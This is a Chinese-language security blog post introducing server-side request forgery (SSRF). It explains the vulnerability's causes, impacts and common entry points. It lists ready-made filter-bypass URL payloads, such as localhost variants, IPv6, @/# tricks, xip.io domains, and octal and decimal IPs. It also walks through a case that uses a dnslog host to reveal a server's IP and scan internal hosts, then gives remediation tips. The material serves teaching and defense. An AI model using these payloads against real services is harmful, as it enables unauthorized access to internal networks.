浅谈SSRF(服务器请求伪造)
- 2020 年 3 月 10 日
- 筆記
文章源自【字节脉搏社区】-字节脉搏实验室
作者-Beginners
扫描下方二维码进入社区:
0x01 浅谈SSRF(服务器请求伪造)
第一步,SSRF是怎么产生的:
SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)

0x02 SSRF的危害:
1.可以对外网服务器所在的内网、某些情况下端口的Banner会回显出来 。
2.攻击运行在内网或者本地的应用程序。
3.对内网web应用进行指纹识别 。
4.攻击内外网的web应用。
5.利用file协议读取本地文件等。


0x03 SSRF漏洞常见出现点:
1.远程加载图片
2.远程下载
3.远程读取链接内容
4.扫描远程地址
5.能够对外发起网络请求的地方
6.请求远程服务器资源的地方

0x04 SSRF漏洞绕过:
一:利用本地绕过:
http://127.0.0.1:80 >>> http://127.0.0.1:80
http://localhost:80 >>> http://127.0.0.1:80
http://127.127.127.127 >>> http://127.0.0.1:80
http://127.0.0.3 >>> http://127.0.0.1:80
http://127.0.1.3 >>> http://127.0.0.1:80

二:利用[::]绕过localhost:
http://[::]:80 >>> http://127.0.0.1:80
http://[::1]:80 >>> http://127.0.0.1:80

三:利用#,@绕过:
http://test.com@127.0.0.1 >>> http://127.0.0.1:80
http://127.0.0.1#@test.com >>> http://127.0.0.1:80

四:利用特殊域名来绕过:
http://127.0.0.1.xip.io >>> http://127.0.0.1:80
http://www.owasp.org.127.0.0.1.xip.io >>> http://127.0.0.1:80
https://127.0.0.1.nip.io >>> http://127.0.0.1:80

五:利用句号绕过:
http://127。0。0。1 >>> http://127.0.0.1:80

七:利用进制绕过:
http://0177.0.0.1 >>> http://127.0.0.1:80
http://3232235521 >>> http://192.168.0.1
http://3232235777 >>> http://192.168.1.1

八:利用短网址绕过:
http://985.so/jSRg >>> http://127.0.0.1:80

0x05 SSRF利用案例:
第一步,测试过程中,发现如下请求:

第二步,发现存在过滤,构造网址实现绕过:

构造:http://0b55c1.dnslog.cn#@www.test.com 成功绕过


第三步,到DNSLog获取真实的IP:

第四步,利用获取的IP批量探测内网主机和端口服务:


第五步,修复方式:
可以采取白名单,限制内网Ip。
对返回内容进行识别。
禁用一些不必要的协议。
统一错误信息,避免用户可以根据错误信息来判断远端服务器的端口状态。

通知!
公众号招募文章投稿小伙伴啦!只要你有技术有想法要分享给更多的朋友,就可以参与到我们的投稿计划当中哦~感兴趣的朋友公众号首页菜单栏点击【商务合作-我要投稿】即可。期待大家的参与~